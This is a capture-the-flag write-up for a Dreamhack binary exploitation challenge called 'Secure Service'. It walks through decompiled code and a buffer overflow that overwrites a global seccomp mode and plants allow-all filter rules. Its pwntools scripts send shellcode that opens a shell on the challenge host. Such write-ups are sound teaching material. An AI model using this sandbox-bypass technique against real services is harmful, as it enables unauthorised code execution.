Write-up of the challenge “Secure Service”
This challenge is part of the “Binary exploitation” category and is in level 4.
Goal of the challenge
The objective of the challenge is to change the seccomp filter to 2.
Program structure
int64_t bof(){ puts("You chose to bof to attack my system."); printf("payload: "); return __isoc99_scanf("%278s", &g_buf);}
int32_t sandbox(){ if (prctl(0x26, 1, 0, 0, 0) == 0xffffffff) { exit(1); /* no return */ }
int32_t result = prctl(0x16, seccomp_mode, &prog);
if (result != 0xffffffff) return result;
exit(1); /* no return */}
int64_t shellcode(){ void *fsbase; int64_t rax = *(fsbase + 0x28); void buf; memset(&buf, 0x90, 0x80); puts("You chose to shellcode to attack my system.");
printf("shellcode: "); read(0, &buf, 0x80); sandbox(); (&buf)();
if (rax == *(fsbase + 0x28)) return rax - *(fsbase + 0x28);
__stack_chk_fail(); /* no return */}
int32_t main(int32_t argc, char **argv, char **envp){ void *fsbase; int64_t var_10 = *(fsbase + 0x28); init(); char var_38[0x28]; memset(&var_38, 0, 0x20); puts("We made a nice " sandbox " program :)"); puts("Feel free to try to attack our service. No one can infiltrate our system :)");
while (true) { printf("which method? "); __isoc99_scanf("%31s", &var_38);
if (strcmp(&var_38, "bof")) { if (strcmp(&var_38, "shellcode")) { if (!strcmp(&var_38, "quit")) break; } else shellcode(); } else bof(); }
exit(0); /* no return */}Problem
As soon I saw the seccomp I attempted to execute open->read->write hopefully I would not trigger the seccomp and unforunately I did so now I started to think of ways I could bypass it.
Security breach
The problem is that here they are letting us read even after the position seccomp_mode.
puts("You chose to bof to attack my system.");printf("payload: ");return __isoc99_scanf("%278s", &g_buf);Solution
So after trying open->read->write which did not work:
from pwn import *
context.arch = "amd64"context.binary = "secure-service"
p = process("./secure-service")
p.sendlineafter(b'?', b"shellcode")
payload = shellcraft.open('/flag')payload += shellcraft.mov('rbx', 'rax')payload += shellcraft.read('rbx', 'rsp', 100)payload += shellcraft.write(1, 'rsp', 100)
p.sendlineafter(b':', asm(payload))
p.interactive()I started thinking about what the issue might be then I thought I might need to use the option bof to perform something because it exists in the binary for a reason I guees. I suspect we failed because some seccomp filters does not allow open. So I started thinking what if we could overwrite the seccomp mode in the buffer overflow to maybe like 2. I started by finding the seccomp:
nm ./secure-service | grep 'sec'0000000000004180 D seccomp_modeAfter that I wanted to find the start of our buffer:
nm ./secure-service | grep 'buf'0000000000004080 D g_bufSo now for our experiemnt I want to check if the offset is within our reach:
0000000000004180-0000000000004080 = 256That is within our reach since we are reading 278 bytes in the bof option:
return __isoc99_scanf("%278s", &g_buf);So we need to overwrite the mode to 2 but also mode 2 just means read the rule from the buffer so we need to also set the rules in the buffer. Here’s how that is handled in seccomp:
struct sock_filter { __u16 code; // 2 bytes: The Operation (What to do) __u8 jt; __u8 jf; __u32 k; // 4 bytes: The Value (The return value)};So we need to create a rule that allow everything for example 0x7fff000000000006 which is return allow. So the summary here is that we need to overwrite the seccomp to 2 and also before that set many allow everything so that when the seccomp reads from the buffer it will read the rule return allow, which will let any shell pass. Then all we need to do is select the shellcode option and send a shell. How we got 0x7fff000000000006 is that the start means 7fff0000 allow and the end mean 6 ret.
from pwn import *
# p = process('./secure-service')p = remote('host3.dreamhack.games', 13686)
context.arch = 'amd64'
seccomp_allow = p64(0x7fff000000000006)
offset_to_overwite = 0x000000000004180 - 0x000000000004080
payload = seccomp_allow * 30payload += b'A' * (offset_to_overwite - len(payload))payload += p64(2)
p.sendlineafter(b'method? ', b'bof')p.sendline(payload)
p.sendline(b'shellcode')
sc = asm(shellcraft.sh())
p.sendlineafter(b'shellcode: ', sc)
p.interactive()